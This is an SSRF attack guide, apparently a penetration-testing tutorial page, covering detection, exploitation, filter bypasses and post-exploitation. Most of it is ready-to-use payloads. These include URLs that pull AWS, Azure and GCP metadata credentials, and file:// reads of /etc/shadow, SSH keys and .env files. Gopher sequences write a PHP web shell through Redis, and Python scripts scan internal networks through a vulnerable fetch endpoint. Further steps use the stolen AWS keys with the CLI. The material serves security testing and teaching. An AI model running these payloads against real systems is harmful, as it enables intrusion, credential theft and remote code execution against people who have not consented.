Server-Side Request Forgery (SSRF) Attack Guide

Learn how to test and exploit Server-Side Request Forgery (SSRF) vulnerabilities including detection, attack methods and bypass techniques.

Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. This can lead to unauthorized actions, access to internal systems, or data exfiltration.

How It Works​

SSRF occurs when a web application fetches a remote resource without validating the user-supplied URL. For example:

<?php  
$url = $_GET['url'];  
$data = file_get_contents($url);  
echo $data;  
?>  

An attacker could exploit this:

https://vulnerable-site.com/fetch?url=http://localhost/admin  
https://vulnerable-site.com/fetch?url=http://169.254.169.254/latest/meta-data/  

The server makes requests on behalf of the attacker, potentially accessing internal resources or cloud metadata.

Detection​

Manual Testing​

URL Parameter Tests​

Testing parameters that accept URLs:

# Step 1: Identify URL parameters  
https://site.com/fetch?url=https://example.com  
https://site.com/proxy?target=https://example.com  
https://site.com/image?src=https://example.com/image.jpg  
https://site.com/api/webhook?callback=https://example.com/hook  
  
# Step 2: Test with controlled server  
# Setup listener on your server  
python3 -m http.server 8000  
  
# Test if server makes request  
https://site.com/fetch?url=http://your-server.com:8000/test  
  
# Step 3: Check your server logs  
# If you see incoming request, SSRF exists  
  
# Step 4: Test internal access  
https://site.com/fetch?url=http://localhost/  
https://site.com/fetch?url=http://127.0.0.1/  
https://site.com/fetch?url=http://0.0.0.0/  

Internal Network Tests​

Testing access to internal resources:

# Localhost variations  
http://localhost/  
http://127.0.0.1/  
http://0.0.0.0/  
http://[::1]/  
http://127.1/  
http://2130706433/    # Decimal IP for 127.0.0.1  
  
# Internal IP ranges  
http://192.168.0.1/  
http://192.168.1.1/  
http://10.0.0.1/  
http://172.16.0.1/  
  
# Internal ports scanning  
http://127.0.0.1:22/   # SSH  
http://127.0.0.1:3306/ # MySQL  
http://127.0.0.1:6379/ # Redis  
http://127.0.0.1:8080/ # Common web port  
http://127.0.0.1:9200/ # Elasticsearch  

Cloud Metadata Tests​

Testing access to cloud provider metadata:

# AWS Metadata  
http://169.254.169.254/latest/meta-data/  
http://169.254.169.254/latest/meta-data/iam/security-credentials/  
http://169.254.169.254/latest/user-data/  
http://169.254.169.254/latest/dynamic/instance-identity/  
  
# Azure Metadata  
http://169.254.169.254/metadata/instance?api-version=2021-02-01  
http://169.254.169.254/metadata/identity/oauth2/token  
  
# Google Cloud Metadata  
http://metadata.google.internal/computeMetadata/v1/  
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token  
http://metadata/computeMetadata/v1/  
  
# Digital Ocean  
http://169.254.169.254/metadata/v1/  
http://169.254.169.254/metadata/v1/user-data  
  
# Oracle Cloud  
http://169.254.169.254/opc/v1/instance/  

Protocol Testing​

Testing different protocols:

# File protocol  
file:///etc/passwd  
file:///c:/windows/win.ini  
file://\/\/etc/passwd  
  
# Dict protocol (Redis/Memcached interaction)  
dict://127.0.0.1:6379/info  
dict://127.0.0.1:11211/stats  
  
# Gopher protocol (Raw TCP)  
gopher://127.0.0.1:6379/_INFO  
gopher://127.0.0.1:3306/  
  
# LDAP protocol  
ldap://127.0.0.1:389/  
ldap://localhost:389/%0astats%0aquit  
  
# FTP protocol  
ftp://127.0.0.1/  
ftp://user:pass@internal-ftp/file.txt  

Port Scanning Tests​

Using SSRF for internal port scanning:

# Basic port scan  
http://127.0.0.1:22     # SSH  
http://127.0.0.1:80     # HTTP  
http://127.0.0.1:443    # HTTPS  
http://127.0.0.1:3306   # MySQL  
http://127.0.0.1:5432   # PostgreSQL  
http://127.0.0.1:6379   # Redis  
http://127.0.0.1:8080   # Alt HTTP  
http://127.0.0.1:9200   # Elasticsearch  
  
# Response time analysis  
# Open ports may respond differently than closed ports  
# Longer timeout might indicate filtered port  
# Quick response might indicate closed port  

Blind SSRF Tests​

Testing when no direct response is visible:

# Time-based detection  
# Try accessing slow endpoints  
http://example.com/large-file.zip  
# If page loads slower, SSRF might exist  
  
# DNS-based detection  
# Use services like Burp Collaborator or interact.sh  
http://unique-identifier.burpcollaborator.net  
http://unique-identifier.interact.sh  
  
# Check for DNS lookups in your logs  
# If DNS query appears, blind SSRF confirmed  
  
# Out-of-band HTTP  
http://unique-identifier.burpcollaborator.net/callback  
# Monitor for HTTP requests  

Automated Discovery​

Using Burp Suite​

# Step 1: Identify potential SSRF parameters  
# Look for parameters containing:  
# - url, uri, path, dest, destination  
# - redirect, target, link, nav  
# - callback, webhook, fetch  
  
# Step 2: Use Burp Collaborator  
# Replace parameter value with Collaborator URL  
url=http://BURP-COLLABORATOR-SUBDOMAIN  
  
# Step 3: Check Collaborator for interactions  
# DNS queries or HTTP requests indicate SSRF  
  
# Step 4: Use Burp Intruder for port scanning  
# Set payload position: http://127.0.0.1:§8080§  
# Payload: Numbers 1-65535  
# Analyze response times and lengths  

Using SSRFmap​

# Basic SSRF exploitation  
python3 ssrfmap.py -r request.txt -p url -m readfiles  
  
# AWS metadata extraction  
python3 ssrfmap.py -r request.txt -p url -m aws  
  
# Port scanning through SSRF  
python3 ssrfmap.py -r request.txt -p url -m portscan  
  
# Redis exploitation  
python3 ssrfmap.py -r request.txt -p url -m redis  

Using Nuclei​

# Run SSRF templates  
nuclei -u https://target.com -t ssrf/  
  
# Specific SSRF checks  
nuclei -u https://target.com -t ssrf/ssrf-parameter.yaml  
  
# Cloud metadata checks  
nuclei -u https://target.com -t ssrf/aws-metadata.yaml  

Attack Vectors​

Local File Access​

Reading local files through SSRF:

# Basic file reading  
file:///etc/passwd  
file:///etc/hosts  
file:///etc/shadow  
file:///proc/self/environ  
file:///proc/self/cmdline  
  
# Windows files  
file:///c:/windows/win.ini  
file:///c:/windows/system32/drivers/etc/hosts  
file:///c:/boot.ini  
  
# Application files  
file:///var/www/html/config.php  
file:///var/www/.env  
file:///home/user/.ssh/id_rsa  

Cloud Metadata Exploitation​

Extracting cloud credentials and configuration:

# AWS IAM Credentials  
http://169.254.169.254/latest/meta-data/iam/security-credentials/  
# Follow with role name  
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]  
  
# AWS User Data (may contain secrets)  
http://169.254.169.254/latest/user-data  
  
# AWS Instance Identity  
http://169.254.169.254/latest/dynamic/instance-identity/document  
  
# Azure Access Token  
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/  
  
# Google Cloud Service Account Token  
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token  
# Requires header: Metadata-Flavor: Google  
  
# Google Cloud SSH Keys  
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys  

Internal Network Scanning​

Scanning internal networks through SSRF:

# Python script for automated scanning  
import requests  
  
target = "https://vulnerable-site.com/fetch?url="  
internal_ips = [  
    "192.168.1.{}".format(i) for i in range(1, 255)  
]  
ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200]  
  
for ip in internal_ips:  
    for port in ports:  
        url = f"{target}http://{ip}:{port}/"  
        try:  
            response = requests.get(url, timeout=2)  
            if response.status_code != 500:  # Not timeout error  
                print(f"[+] Found: {ip}:{port}")  
        except:  
            continue  

Service Exploitation​

Exploiting internal services through SSRF:

# Redis exploitation via Gopher  
# Generate Redis command payload  
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html  
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20shell.php  
gopher://127.0.0.1:6379/_SET%20shell%20"<?php%20system($_GET['cmd']);%20?>"  
gopher://127.0.0.1:6379/_SAVE  
  
# Memcached exploitation  
gopher://127.0.0.1:11211/_stats  
gopher://127.0.0.1:11211/_get%20admin_password  
  
# MySQL exploitation (requires multi-line Gopher)  
gopher://127.0.0.1:3306/_[MYSQL_PROTOCOL_PAYLOAD]  
  
# SMTP exploitation (send email)  
gopher://127.0.0.1:25/_HELO%20attacker  
gopher://127.0.0.1:25/_MAIL%20FROM:attacker@evil.com  
gopher://127.0.0.1:25/_RCPT%20TO:victim@target.com  
gopher://127.0.0.1:25/_DATA  
gopher://127.0.0.1:25/_Subject:%20SSRF%20Test  

XXE to SSRF Chain​

Combining XXE with SSRF:

# Upload XML file with external entity  
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE foo [  
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">  
]>  
<root>  
<data>&xxe;</data>  
</root>  
  
# SVG file with SSRF  
<?xml version="1.0" encoding="UTF-8" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
<svg xmlns="http://www.w3.org/2000/svg">  
<image href="http://169.254.169.254/latest/meta-data/" />  
</svg>  

Bypass Techniques​

Blacklist Bypass​

Bypassing IP blacklists:

# Localhost alternatives  
http://127.0.0.1/  
http://127.1/  
http://0.0.0.0/  
http://[::1]/  
http://localhost/  
http://127.00.00.01/  
http://127.0.1/  
http://2130706433/          # Decimal IP  
http://0x7f.0x0.0x0.0x1/    # Hex IP  
http://0177.0000.0000.0001/ # Octal IP  
  
# DNS rebinding  
# Point domain to allowed IP first  
# Then change DNS to point to internal IP  
http://attacker-domain.com/  
  
# Using redirect  
# Host open redirect on allowed domain  
http://allowed.com/redirect?url=http://169.254.169.254/  
  
# Using @  
http://allowed.com@127.0.0.1/  
http://allowed.com#@127.0.0.1/  
  
# URL encoding  
http://127.0.0.1/       →  http://%31%32%37%2e%30%2e%30%2e%31/  
http://localhost/       →  http://%6c%6f%63%61%6c%68%6f%73%74/  

Protocol Bypass​

Using alternative protocols:

# When http:// is blocked  
https://127.0.0.1/  
ftp://127.0.0.1/  
file:///etc/passwd  
dict://127.0.0.1:6379/info  
gopher://127.0.0.1:6379/_INFO  
ldap://127.0.0.1:389/  
tftp://127.0.0.1:69/  
  
# Protocol case variation  
HTTP://127.0.0.1/  
hTTp://127.0.0.1/  
HtTp://127.0.0.1/  
  
# Missing protocol  
//127.0.0.1/  
//localhost/  

Domain Bypass​

Bypassing domain restrictions:

# Using subdomains  
http://127.0.0.1.allowed-domain.com/  
http://allowed-domain.com.127.0.0.1.nip.io/  
  
# Using TLD confusion  
http://127.0.0.1.com/  
http://localhost.com/  
  
# Unicode/IDN bypass  
http://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ/  
http://127.0.0.① /  # Unicode digit  
  
# DNS services  
http://127.0.0.1.nip.io/  
http://127.0.0.1.xip.io/  
http://127.0.0.1.sslip.io/  

Port Bypass​

Accessing restricted ports:

# Port in username  
http://127.0.0.1:80@allowed.com/  
http://127.0.0.1:3306@allowed.com/  
  
# Fragment with port  
http://allowed.com#@127.0.0.1:22/  
  
# Multiple ports (some parsers use first, some use last)  
http://127.0.0.1:80:8080/  
http://127.0.0.1::8080/  

URL Parser Confusion​

Exploiting URL parsing differences:

# Different components parsed differently  
http://foo@evil.com:80@127.0.0.1/  
# Some parsers see: evil.com:80  
# Others see: 127.0.0.1  
  
# Using backslash (Windows-style)  
http://allowed.com\@127.0.0.1/  
  
# Mixed separators  
http://allowed.com#@127.0.0.1/  
http://allowed.com?@127.0.0.1/  
  
# Whitespace injection  
http://allowed.com %0A@127.0.0.1/  
http://allowed.com%09@127.0.0.1/  
http://allowed.com%0D@127.0.0.1/  

Open Redirect Chain​

Chaining SSRF with open redirects:

# If allowed-domain.com has open redirect  
http://allowed-domain.com/redirect?url=http://169.254.169.254/  
  
# Using redirect to bypass filters  
# 1. Create redirect on your server  
# 2. Point SSRF to your redirect  
http://your-server.com/redirect-to-metadata  
  
# 3. Your server redirects to metadata  
Location: http://169.254.169.254/latest/meta-data/  

DNS Rebinding​

Time-based DNS rebinding attack:

# Step 1: Setup DNS server with short TTL  
# Initially resolve to allowed IP: 203.0.113.1  
# After validation, change to: 127.0.0.1  
  
# Step 2: Trigger SSRF  
http://rebind.attacker.com/  
  
# Step 3: App validates domain -> allowed  
# Step 4: DNS TTL expires  
# Step 5: App makes actual request -> now points to 127.0.0.1  
  
# Tools: singularity, DNSrebinder  

IPv6 Bypass​

Using IPv6 addresses:

# IPv6 localhost  
http://[::1]/  
http://[0:0:0:0:0:0:0:1]/  
http://[0000:0000:0000:0000:0000:0000:0000:0001]/  
  
# IPv6 compressed  
http://[::ffff:127.0.0.1]/  # IPv4-mapped IPv6  
  
# Link-local addresses  
http://[fe80::1]/  
http://[fe80::]/  

Post-Exploitation​

AWS Metadata Exploitation​

Complete AWS credential extraction:

# Step 1: List available roles  
http://169.254.169.254/latest/meta-data/iam/security-credentials/  
  
# Step 2: Extract role credentials  
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]  
  
# Response contains:  
{  
  "AccessKeyId": "ASIA...",  
  "SecretAccessKey": "...",  
  "Token": "...",  
  "Expiration": "..."  
}  
  
# Step 3: Use credentials with AWS CLI  
export AWS_ACCESS_KEY_ID=ASIA...  
export AWS_SECRET_ACCESS_KEY=...  
export AWS_SESSION_TOKEN=...  
  
aws s3 ls  
aws ec2 describe-instances  
aws iam get-user  

Internal Service Mapping​

Mapping internal infrastructure:

# Port scanning script  
import requests  
import concurrent.futures  
  
def check_port(ip, port):  
    url = f"https://vulnerable.com/fetch?url=http://{ip}:{port}/"  
    try:  
        r = requests.get(url, timeout=3)  
        if "Connection refused" not in r.text:  
            return f"{ip}:{port} - OPEN"  
    except:  
        pass  
    return None  
  
ips = ["192.168.1.{}".format(i) for i in range(1, 255)]  
ports = [21, 22, 23, 25, 80, 443, 3306, 3389, 5432, 6379, 8080, 9200]  
  
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:  
    futures = []  
    for ip in ips:  
        for port in ports:  
            futures.append(executor.submit(check_port, ip, port))  
      
    for future in concurrent.futures.as_completed(futures):  
        result = future.result()  
        if result:  
            print(result)  

Data Exfiltration​

Exfiltrating data through SSRF:

# Reading application config  
file:///var/www/html/config.php  
file:///var/www/.env  
file:///etc/nginx/nginx.conf  
  
# Reading AWS credentials from disk  
file:///home/ubuntu/.aws/credentials  
file:///root/.aws/credentials  
  
# Proc filesystem  
file:///proc/self/environ       # Environment variables  
file:///proc/self/cmdline       # Command line  
file:///proc/self/cwd/config.php # Current working directory files  

Gopher Protocol Exploitation​

Advanced service exploitation:

# Redis shell writing via Gopher  
# URL encode the following:  
gopher://127.0.0.1:6379/_  
*3  
$3  
SET  
$5  
shell  
$30  
<?php system($_GET['cmd']); ?>  
  
*4  
$6  
CONFIG  
$3  
SET  
$3  
dir  
$13  
/var/www/html  
  
*4  
$6  
CONFIG  
$3  
SET  
$10  
dbfilename  
$9  
shell.php  
  
*1  
$4  
SAVE  
  
# URL encoded version goes in SSRF parameter  

Common Tools​

Tool| Description| Primary Use Case
---|---|---
SSRFmap| SSRF exploitation tool| Automated SSRF exploitation
Gopherus| Gopher payload generator| Service exploitation via SSRF
Burp Collaborator| Out-of-band testing| Blind SSRF detection
interact.sh| DNS/HTTP logger| Blind SSRF verification
Nuclei| Vulnerability scanner| SSRF detection
SSRFire| SSRF exploitation framework| Advanced SSRF testing